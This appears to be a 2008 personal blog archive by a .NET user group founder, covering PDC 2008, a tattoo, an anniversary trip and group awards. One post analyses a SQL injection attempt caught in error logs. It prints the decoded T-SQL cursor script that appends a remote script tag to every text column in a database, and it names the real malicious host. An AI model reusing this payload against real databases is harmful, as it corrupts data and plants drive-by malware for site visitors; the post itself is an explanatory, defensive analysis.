Enough said

By James at November 04, 2008 15:34
Filed Under: Life in General

“If there is anyone out there who doubts that America is a place where anything is possible, who still wonders if the dream of our founders is alive in our time, who still questions the power of our democracy, tonight is your answer.”

Barack Obama

November 4, 2008

I can’t remember a time when I was happier to be an American.


Is this being too much of a geek?

By James at November 02, 2008 06:57
Filed Under: Web Development, Life in General

With the announcement of Windows Azure, lots of people started grabbing domains relating to Azure. How geeky is this?


Guess who owns it?

Interestingly enough, Microsoft registered azure.com 14 years ago.


Post PDC 2008, onto SQL Data Services

By James at November 02, 2008 06:55
Filed Under: SQL Data Services

My first PDC was great with lots of new things to absorb and learn about. However this time, I’m going to go at this in a more structured way. Starting today, I am going to devote my learning time to SQL Data Services with several intentions.

1) I think this platform is just really bitchen.

2) I want to be the community expert when it comes to SDS (think Julia Lerman and Entity Framework, Jesse Liberty and Silverlight, Geoff Emery and Virtual Earth).

3) One of the coolest guys I know, and a great friend, David Robinson, is the Senior Program Manager on the SDS team, and has offered to help me in any way he can.

So, I’ve created a VPC image so I can install all the bits, and I will be writing up my experiences here as often as I can. Check back often. I’m off spelunking.

I'm going to PDC 2008!

By James at October 25, 2008 12:44
Filed Under: PDC 2008

Ever since there has been a PDC I have wanted to attend. And for various reasons I wasn't able to, mainly due to the expense. Due to my work in the community, and being a charter member of their Academy, one of the IEDOTNETUG sponsors, JetBrains, offered me a pass to attend. All I would have to do is work in the booth 2 hours a day, and give a presentation.

I was stoked, until I got the call that they were reconsidering and wanted to have someone "more famous". Huh?! Bummed but not out, I started working my magic on everyone I know, and finally Lynn Langit, offered to help.

Lynn is great, and can get stuff that no one else can. But after 2 weeks of being told "Huh, umm, NO" by everyone she asked, it seem pretty bleak. Resigning myself to the fact that it would be yet another PDC of watching webcasts and dreaming of the day, I got both a rather strange email from Lynn, "Gisli Olafsson PDC pass for James Johnson", and a twitter message "@jamesIEDOTNET read your mail w00t!", last Wednesday morning (October 22) .

As it turns out Gisli is a Microsoft Employee in Iceland, and was called to Kenya during the same time as PDC 2008. I don't know how Lynn found this out, or got a hold of him, but she did and he graciously offered to transfer his registration to me.


Needless to say, I was flabbergasted, appreciative, happy, ecstatic, etc. Props and THANKS to both Lynn and Gisli for making this happen for me. I am going to have so much fun!

If you’re going to be at PDC 2008, send me an email via the blog, or follow me on twitter. My alias is jamesIEDOTNET. Stay tuned for more entries, photos and other stuff.


A new type of SQL Injection attack

By James at September 12, 2008 10:51
Filed Under:

I use ELMAH to take care of un-handled exceptions on my web sites, including www.iedotnetug.org. It works well, and sends me an email when something goes wrong. I typically get 2-3 emails about the user group site a week, usually bots or spiders causing 404 errors. Today I woke up with two emails with the following errors:

System.FormatException: Input string was not in a correct format.

Ok, I see these all the time, almost deleted the message, but decided to scroll down just a bit more to the variables to see what spider triggered this. You won't believe what I saw.

QUERY_STRING pageNum=3;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444

Now a good friend of mine, and member of the user group - Matt Penner - is constantly generating errors on the user group site when trying to submit his Most Valuable Member points. I had just finished making a fix last night, and thought he'd get a kick out of seeing this. So I forward it on to Matt. His response was:

"Wow, can you say SQL Injection Attack?  Do you really look over all the error messages?  Do they come in your email?  That could be a lot to wade through.  How much do you get? You've probably already figured out their code but here's what they were trying to do:" 

He then goes on to show me the SQL which was in this HEX string. Pretty scary stuff.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FROM Table_Cursor
update ['+@T+']
set ['+@C+']=''"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''+['+@C+']
where '+@C+' not like ''%"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''')
FROM Table_Cursor
CLOSE Table_Cursor

Matt then goes on to say:

"This looks fairly nasty. He's really trying to replace any TITLE tag on your HTML pages. If your titles were dynamically generated from SQL (and that's a pretty big if) this would close the tag, insert a script the browser would run and then comment out the rest of the page. However, HTML is fairly forgiving so this script would probably run no matter what tag got hit.

But that's not the bad part. This script changes every single text column in every table in your database. Ugh! The sheer destruction of all your data would probably debilitate the site as a whole no matter what.

But you have to give him props. He does optimize the code for you. For instance, his script doesn't update fields that have already been hacked previously. So I guess he's kind enough not to waste processes on your SQL box. Maybe you should thank him."

Now Matt works at a school district and his network is secure. But because he's a geek like me, he decides to visit the domain. This is what he finds:


Matt tells me the code is in HEX and he had to use PSPad to decrypt it. He goes on to say:

"After IIS unencodes the query string this turns into:
SET @S = CAST(0xBlahBlahBlah AS CHAR(4000));
EXEC (@S);

It looks like SQL's CAST statement is smart enough to know that 0x is a hex string and automatically converts it to text for you.  This is much like a CAST(blah as datetime) is smart enough to convert dates from a variety of different formats.  Now it's in a plain text string which is dynamically executed by the EXEC statement."

We email about it a few more times, then consider the matter closed. All until I run across this blog entry from Steve Trefethen today. The same attack was tried on his blog, however he went further and downloaded the JavaScript. The JavaScript in turn will insert an <IFRAME> which will then load some pretty nasty ActiveX controls.

I have been meaning to do some major overhauling on the user group site, especially to get rid of the query string parameters. Fortunately for me, the query string parameter is encoded and then passed into a SqlDataSource Parameter. Whew! I guess I know what I'm going to be doing sooner, rather than later.

Oh, and if you want to bypass my protection for you and throw caution to the wind, replace "http://<effing domain removed to protect my readers>" with www0.douhunqn.cn. You have been warned.

Big props to Matt for helping me out.


By the way, as I was preparing this and pasting the various bits of code into Live Writer, the following NOD 32 anti virus window popped up:


Nasty, nasty stuff.

My left arm

By James at August 23, 2008 15:14
Filed Under: Life in General

Wedding rings are worn on the left hand, as the veins in the arm go straight to the heart. During my time with Carmina, I've collected several trinkets which I wear on my left hand and wrist. Little tokens of her, which go straight to my heart. While planning our 3rd anniversary trip to Ensenada, I decided to surprise her with a picture of a Mayan calendar representing our wedding date - July 23, 2005. It took a while to figure it out until I found a few different web sites with glyphs and tutorials on how to translate dates. I brought the artwork and information home, showed Carmina and she was really tickled, but started wondering what it was all about.

I have two great friends @joshhighland and @gemery who have tattoos. Josh is almost totally covered with the most beautiful artwork I have seen. Geoff is a world traveler and gets a tattoo from every continent he has visited. Now I'm an older guy, who occasionally will put a hoop through the ancient hole in my earlobe, but with no body art to mention.

With the deep love of my wife (and of Mayan heritage), my two brothers as an inspiration and going a bit further, in my head and to myself, I decided I would get a tattoo while in Mexico. While driving I broke the news to Carmina. She got all excited and decided to join me on my search for a place to get it done.

Ensenada is the city of rip-offs, cheap transvestites and counterfeit Cuban cigars. Neither of us felt terribly comfortable in having me get inked in any of the places we saw. Somewhat disappointed, Carmina perked me up by mentioning Chris, the husband of one of her co-workers, Alma. Chris works for the city of Riverside and does tattoos on the side. Carmina hooks me up with Chris and we set up a date.

Today was the day. I didn't sleep at all the night before, I was excited. I had heard it would hurt, and seen pictures of right afterwards with the oozing, but I really wanted to do this. Chris is an awesome guy, un-assuming, friendly, joking, a liberal. His "shop" is decorated with slasher movie props, meat cleavers, meat hooks and antique car memorabilia. "Welcome to the Butcher Shop Tattoo Parlor" is painted on the floor.

So we get started. At first I had wanted it on the inside of my arm. Chris asks me if I'm sure, tells me it will really hurt in that spot and talks me into putting it directly on my bicep. I agree, so he traces the design, and works three times to get it just right on my arm. This isn't like getting the wrong shade of paint in the bathroom, once you start, there is no going back, and I appreciate him taking his time.

Time to start. Outline is first and I think, this isn't so bad. I start meditating on my third eye and breath deeply, getting into the experience. Things are going well, when all of a sudden...WTF!!! Ow!!! that hurts! He just started outlining into the inside of my arm, right on the edge where I wanted him to start. OMG this HURTS! I let it all wash over me, glad when he gets to the outside of my arm, squirming when he gets to the inside, breathing a sigh when he stops for more ink. He is careful and detailed and it takes an hour to do the outlining. We take a short break to stretch legs, drink some water, and pee. Then its time for the shading.

Chris says the shading will be easier, "it's more of a burn, than a tearing like the outline". Whew...ok, I can deal with this. WRONG! The outlining is done with a single needle. Shading is done with four to seven needles dragged across the skin. The soft part of my arm takes the brunt of the pain. After each pass, Chris wipes the skin, and I don't know what is worse, the needle or the wiping of punctured skin with a paper towel and green soap. He's using a lighter shade of black, but all I see is red, my blood under the skin. "Don't worry, he says, that will fade. This is looking awesome!" During the shading, I'm squirming big time. Chris teases me with "it's rough isn't it?" I respond with "F*** you"! We both laugh and get on with it.

Finally he's done with the shading but now wants to put some highlights with white. Nice, more poking, but I've gone this far, we're in 3 hours by now, so what the heck. Another 30 minutes and then he's ready to do the details. Huh!?!

Carmina's favorite color is purple. The top glyph means "Esposa". I had previously asked Chris about coloring, so when he was done with the detailing he get's ready to start with the purple highlights on the top glyph.

Four hours later and we're done. It's amazing how fast the pain fades and I look at myself in the mirror. The white highlights make it pop, the purple is cool, and it is "more better" than I had imagined.

Will I get another? Who knows. This one is significant and meaningful to me. Will getting another dilute this feeling?

Here are the pictures

Original graphic based on my research


My finished tattoo


The Mayan calendar is actually a number of days from creation, with the significant event the main glyph on the top. Each long oval represents "five" and each open circle represents "one", with the other glyphs representing the portion of time in the epoch. So, in this case the top glyph represents "the wife of", with the rest counting up the days from creation to when Carmina and I were married.

Carmina is already looking up glyphs for what she wants. Have I mentioned how much I love this woman?


An anniversary, a road trip and a wake up call

By James at July 30, 2008 19:19
Filed Under: Life in General

Last Wednesday (7/23) was Carmina's and my third anniversary. Since our lives revolve around our families, with varying members coming and going, birthday and graduation parties, master degree studies, boyfriends spending weekends, user group meetings, running errands...you get the picture, Carmina and I *rarely* have time to spend alone together. So when we got married, we promised ourselves, that the first weekend after July 23 would be our own alone time. A time to go away to somewhere we've never been. A time to be alone. A time to get to know each other again. A time to give the love engine a few strokes and tend to the flames.

This year we decided our destination would be Ensenada, Baja California, Mexico. While we had said, a place neither of us had been, we decided my trip during the early 80's didn't count. Sort of like robbing a bank 30 years ago, is beyond the statute of limitations.

So onto the interwebs to find a place in Baja to go. Search, search, search.... Bingo! Hotel Coral in Ensenada. Book it, ask for the vacation time, start planing, start dreaming.

Saturday morning comes, and we decided the night before to leave no later than 7:30 am. Willie asks us if we're going to leave any "emergency money". I ask him "why?" "In case I want to go to the movies." Darn kids. The trip down is uneventful. We get to Tijuana to run a few errands and I get the normal text message from Sprint..."welcome to Mexico. Feel free to make as many calls as you want, just make sure to press 011 before to authorize us to take every cent you will ever earn." We continue on down to Ensenada, but this time Carmina wants to take the Toll Roads the entire trip, not the usual browsing along every nook and cranny of the "libre" highway. Listening to our iPod collection we're having a great time. Windows down, music blaring, cool breezes, interesting sites, a highway worker straddling the center divider painting, we get to Hotel Coral, just as "Hip City" from Down to the Bone starts playing.

This hotel is awesome, just effing awesome! It reminds us of a fancy hotel in the Orange County beach areas, complete with circular driveway, doormen, fancy tiled entrance way, courteous staff. Check in is fine, and the room is all the the web site claims it to be. Before we head up, we stop by the concierge desk to ask around about what to do. We had noticed a lot of people dressed nicely and realize a wedding is about to take place. As we walk up to the desk, the concierge stands with a box of something and corsages, starting to walk away. But he sees us, sets his stuff down and tends to us. It's not until way later we realize he was tending to the wedding party, but stopped to help us out. Nice.

After settling into the room, we decide to head out for our first adventure, La Bufadora. Ensenada is an inlet of the Pacific. La Bufadora is at the end of a peninsula on the other side of the bay. If we were birds, we could fly there in 10 minutes. Instead we need to drive. Oh well, we're here for the adventure, so off we go. Lots of farmland with the typical roadside stands offering elote, honey, uvas, tamales, carnitas, etc.

What a change. La Bufadora is now a big tourist trap. Lots of stands selling junk...fake silver jewlery, fake cuban cigars, switchblades stamped with "made in china"... sigh. Carmina and I make our way down to the site, and there are tons of people standing around watching, some hanging out under the "do not climb on the rocks sign"

We head back to the hotel, enjoying the countryside along the way. After a stop at the mega mercado for snacks and tequila, we get back to our room to relax, drink and celebrate our time together and our time alone.

Later that night, the room phone rings. The conversation goes like this:

Me (groggy) - "hello?"
Phone voice - "Good night, sir"
Me (confused) - "good night, thank you"
Phone voice - "Your pizza is here"

Wow what service in Ensenada. The call to wish you good night, and give you a pizza. All that was needed was to be tucked in. :)

Here's some pictures of the first day at La Bufadora.

La Bufadora, "the blowhole"

The next day we decided to wander around and explore Ensenada

During our wanderings in Ensenada, we came across the city museum. After spending a bit of time looking around, we started chatting with the lady working the counter. Asking what else was there to do, she recommended Guadalupe, the Mexican Wine Country. "C'mon, I say to myself, Mexican Wine". Not that I'm a wine snob, for Pete's sake, it's Two Buck Chuck from Trader Joe's for me, but I wouldn't have put "wine country" and "Mexico" together. So, seeing as we love adventures in strange lands, we make plans to head out the next morning.

The drive is great, and soon we arrive at the entrance of Vina Ruta.

The air is clear and cool. The sky is a blue which makes your eyes hurt, and driving down the "Vina Ruta" we're amazed at the number of small vineyards and olive groves in the area. So totally amazing. Every 1/4 mile is a turn off to a small winery and we have a hard time deciding where to stop.

Apparently a hundred years ago a group of Russians settled in the valley. We stop at another museum across the street from a small cafe with wine tasting. Ok, here goes our first sip of Mexican wine. "umm, nah, I don't think so". It is way too sweet, thick, with a nasty, gnarly aftertaste. So, the wine sucks but the area is beautiful, peaceful and relaxing.

But, we're on an adventure and with all the other wineries and vineyards, there has to be something better. Driving and driving and driving we see a big white building up on a hill. As we get closer, a sign "Monte Xanic Vineyards" directs us off the road. This looks interesting and we drive through hundreds of acres of vines making our way to the big white building. We follow the signs pointing us to the wine tasting room and end up in the cask room (I guess that's what its called).

The fee for tasting their eight wines is eight dollars. I guess if you have to pay, then it must be good. Luis, behind the counter, starts us out with the whites. Actually they aren't too bad, and Carmina, not a wine drinker, likes them. As we move on to the reds, things start to get interesting. I don't know how to describe wine, nor do I know how to judge it, other than either "it's good", or "yuck". But with these reds, I have to add a new one. "GTFO! OMG! WOW!" These wines are smooth, with a buttery feel, a dry aftertaste, and absolutely the best Cabernet I have tasted. And not a bad price either, $13.00.

Talking with Luis he asks if we saw the picnic setup by the lake. Every Sunday, the chef from town comes to cook and server people. Since its been a long day, we head down to eat and see what is what.

This aren't street tacos. This is actual gourmet food. Sitting on a picnic table. By a lake with a cool breeze. With my beautiful wife.

What a way to celebrate three years with the love of my life.

Inland Empire .NET User's Group - Most Valuable Member

By James at July 09, 2008 12:26
Filed Under: Inland Empire .NET UG, Life in General

When I started the Inland Empire .NET User's Group almost 5 years ago, my goal was to create a thriving .NET development community here in the IE, a place where people didn't have to drive so far to attend user group meetings, where local networks could form, where employers in the IE could come to recruit talented, professional developers and was recognized for our development prowess.

I was having a lot of fun with the group and watching it grow. People would come and go, some offering to help, but never coming back. But it was not the dynamic community I had envisioned.

So, a little over a year ago, I was thinking up some ways to increase both the membership and the involvement of the Inland Empire .NET User’s Group. I had heard of Community-Credit.com, run by David Silverlight, and decided to adapt it to the IEDOTNETUG, gearing it more towards a local community, and specifically for rewarding those who contributed directly back to the group. I had fun coming up with the topics and point system, some of which are:

Be the first to RSVP and Attend a monthly meeting 50 points
RSVP and Attend a monthly meeting 20 points
Assist with meeting setup 200 points
Assist with meeting teardown 150 points
Bring a guest 50 points
Give a 15 minute presentation to the group 300 points
Write a book review on a book won as a raffle prize 500 points
My intention was for the top point achiever to get 1) some recognition, 2) a boatload of swag, and 3) a little help in running the group.
Without much planning, or talking to those who could provide the "boatload of swag", I jumped right in and announced it at the July 2007 User Group meeting. There was some enthusiasm for the program, but most, I think, were like "yeah sure". It took a while for the idea to catch on in the group, and points weren't being generated like I had hoped. I started talking to my sponsors about helping out with prizes, but again, most of them were like, "MVM...what's that?" Every month at the UG meetings I would remind people to submit their points and give them an update on what the prizes were.
In talking with my good friend, Rachel Hawley at Red Gate software, she came on board, offering both some cool prizes, but most importantly some really good advice, suggestions and opinions.
Ah... our first MVM sponsor! Sweet! Now that the members could see there was something they could get for participating, the point submissions started coming in. But still not quite as much as I had hoped for. Thinking a bit on it, I came up with a devious plan, I changed the rules a bit:
  • Point submission would expire 2 months after the activity date (I didn't want to have to keep track of something 11 months ago.)
  • If points were submitted with 7 days of the meeting, they were doubled.
  • If there were more than 20 attendees at the meeting, the points were doubled again (see where I'm going? let's get more people at the meetings).
Think about it. Before, "Assist with meeting setup" was 200 points, but now it could be worth 800 points!
Once the new rules were in play, participation started growing. Ok, now I had players it was up to me to get the prizes. I had wanted Microsoft to donate a MSDN Subscription, and our MSFT DE, Woody Pewitt tried his darndest, but the lawyers and accountants got involved and this idea just wasn't going to fly. I also have developed a really fantastic relationship with my contact at JetBrains, Britt King. We communicate a lot and bounce a lot of ideas off of each other. Britt started getting excited about the MVM program as well, and committed to providing JetBrains licenses as well. Cool beans! Sponsor number 2.
It's April, the point totals are climbing, with more people participating and I'm still working on sponsors. Telerik is on board, Marsee at O'Reilly is on board. But Microsoft is still holding out. I can't figure it out, as this is a .NET User's Group.
Fast forward to June.The MVM awards event is next month. The sponsors are lined up, everyone is excited, there is a definite buzz about the program, and INETA is starting to ask me about it, "What is this MVM thing?". At our June meeting, I finally meet a local developer, who has been trying to come to the meetings, but just hasn't been able to make it. His name is Al Pascual, and he is a Microsoft MVP. He has in his hands a certificate for a MSDN Team Suite Premium Subscription, one of three which Microsoft gives to MVPs to hand out. YES!! The prizes are complete.
I am amazed at the level of competition which is taking off. I am being bombarded on a daily basis with MVM point submissions. There are 5 participants who are all within 2000 points of each other, and I start thinking, I can't just award one MVM. So I decide to have the MVM with a First and Second Runner Up. All the sponsors think it's a great idea and pitch in even more to support the program.
Carmina decides since this is such a special event, the typical pizza just won't do. She gets her good friend Imelda started on planning to make a giant batch of chile rellanos. Booyah! Carmina and I spend the weekend before the event putting the prizes together. Printing out certificates, making awards boxes, packaging up JetBrains t-shirts with Red Gate thumb drives to hand out to all the MVM participants. Sweating the details, practicing my presentation, making sure things will go right. We're ready to go, when "uh-oh".
My friend Efren Toscano who has this cool company TechZulu is going to come and videotape the event, but his correspondent has backed out, and we need to find someone who 1) knows tech, 2) has a great personality and 3) doesn't mind working for a piece of pizza and a Diet Pepsi. As I stare at my monitor, thinking about this, my eyes wander to my GTalk window, then to my buddy Josh Highland's icon. Josh has hacked GTalk so it always shows him as being available...usually he's not. Hmm, Josh meets the three criteria, plus he's a born and raised Inland Empire developer (PHP and ColdFusion, but I don't hold that against him).
Click, not expecting a response till morning. To my surprise he's there. Serendipity. It goes like this:

me: hey, give me a ping i have a favor to ask
joshhighland: yo
me: you're there? wow?
joshhighland: yup ha
me: are you doing anything Tuesday night?
joshhighland: id have to check with the schedule keeper, aka my wife whats going on?
me: TechZulu is coming to videotape the Most Valuable Member event he needs a correspondent...someone to do the interviews
joshhighland: awesome where at?
me: woud you be interested in doing it? i need someone with personalilty and is techy/geeky Riverside Medical Clinic
joshhighland: yeah, lets do it i'm in

It's all coming together and we're ready to go. The people are showing up, the chile rellanos are awesome, there is an excitement in the air. Carmina and Imelda are there checking in people and selling raffle tickets. Efren and Josh are doing their interviews. It doesn't get any better than this. We have our meeting, present the MVM awards, attendees are happy, excited and stoked. My presentation goes great. Afterwards people are hanging around talking and chatting.
This is what I live for with this group. This is why I do it.
Pictures of the event are on Flickr
edit 7/15/2008
This just in! My buddy Josh Highland just wrote about his experiences as a TechZulu correspondent. Read it here.

The Most Valuable Members

By James at July 09, 2008 12:25
Filed Under: Inland Empire .NET UG

The Inland Empire .NET User's Group held their first annual Most Valuable Member Awards. Members gain points by giving back to the community, with the top contributor being named Most Valuable Member. The recognition and prizes they receive are significant, and it wouldn't be possible without the help of the sponsors.

Here is what the MVM, Runner Up, and Second Runner Up receive

MVM Runner Up Second Runner Up
Red Gate SQL Toolbelt Red Gate SQL Comparison Bundle Red Gate SQL Compare
JetBrains R# and dotTrace JetBrains R# JetBrains dotTrace
InnerWorkings ENTIRE catalog for 1 year InnerWorkings Drill InnerWorkings Drill
O'Reilly Safari Subscription 5 O'Reilly Books 3 O'Reilly Books
telerik complete controls Sitefinity license telerik tool of choice
MSDN Team Suite Premium Subscription TechNet Plus Subscription  

The Most Valuable Members for 2007/2008 are:

Most Valuable Member 2007/2008. 42 entries and total points of 19,400 - Volkan Uzun

Volkan has been coming to the meetings for several years, working in several levels of the group, most recently developing and teaching a 12 week Beginner's ASP.NET course affiliated with the IEDOTNET, writing several blog postings per month, and recently received two Microsoft Certifications. He must stay up nights, thinking of new ways to give back to the development community.

MVM Runner Up. 21 entries and total points of 17,840 - Michael Roth

Mike has a ton of great ideas, and will someday make his fortune on the interwebs. He is diligent about submitting his points early, and loves to donate a previously won raffle prize to someone else.

MVM Second Runner Up. 23 entries and total points of 16,110 - Paul Chu

Paul makes the trek from San Gabriel every meeting. He is always here early to help setup, stays late to help tear down, actively participates in discussions during the meetings, and offers to help where ever he can.

In addition, the follow members all participated:

Robby Thompson 13040 points

Matt Penner 10080 points

Sean Dorsett 7280 points

Steve O'Brien 3680 points

Henry Vander Leest 2320 points

Daniel Andrade 1970 points

George Ande 500 points

Mark Raborn 480 points

Alvin Xu 100 points

Ed Marquez 40 points

Chris Hall 20 points

Inland Empire .NET User's Group Most Valuable Member Awards

By James at July 01, 2008 17:33
Filed Under: Inland Empire .NET UG
It's been a year in the making, and it's almost here! The IEDOTNETUG Most Valuable Member Awards event will be on Tuesday, July 8th from 6:30 to 10:00 pm at our usual meeting place, Riverside Medical Clinic. In addition to recognizing and congratulating those who have worked hard at making a difference in the Inland Empire .NET community we will have speakers. Boy howdy, will we have speakers. Not 1. Not 2. Not 3. But FOUR speakers!

  • Mike Vincent from INETA will be presenting on Dynamic Languages (Python, Javascript, Ruby)
  • Matt Penner (yeah, that Matt Penner) will be showing us how to set up source control with SVN
  • Our local MVP, Al Pascual, from ESRI, will be showing off his open source project called GeoTwitter
  • Janine Rood, InnerWorkings Director of Marketing will be showing us how to use the InnerWorkings Drills
  • Efren Toscano from TechZulu will be on hand to video tape the whole event
  • Various other special guests will be making appearances as well

Plus, if your name is on the upper left list of the UG website, you'll get a prize for participating. And if that's not enough, the sponsors have stepped forward for this event and are providing extra swag.

So what are you waiting for? It's time to show the rest of the .NET development world that the Inland Empire is force to be reckoned with! RSVP now to get in on all the fun, plus you'll get an extra raffle ticket.

Attendance fee for non-members is $5.00. Food (not pizza this time around), sodas and water will be on hand.

Thanks! See you next Tuesday. Have a happy, and safe 4th of July!


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James James is a five time and current Microsoft MVP in Client App Development, a Telerik Insider, a past Director on the INETA North America Board, a husband and dad, and has been developing software since the early days of Laser Discs and HyperCard stacks. As the Founder and President of the Inland Empire .NET User's Group, he has fondly watched it grow from a twice-a-month, early Saturday morning group of five in 2003, to a robust and rambunctious gathering of all types and sizes of .NET developers.

James loves to dig deep into the latest cutting edge technologies - sometimes with spectacular disasters - and spread the word about the latest and greatest bits, getting people excited about developing web sites and applications on the .NET platform, and using the best tools for the job. He tries to blog as often as he can, but usually gets distracted by EF, LINQ, MVC, ASP, SQL, XML, and most other types of acronyms. To keep calm James plays a mean Djembe and tries to practice his violin. You can follow him on twitter at @latringo.

And as usual, the comments, suggestions, writings and rants are my own, and really shouldn't reflect the opinions of my employer. That is, unless it really does.

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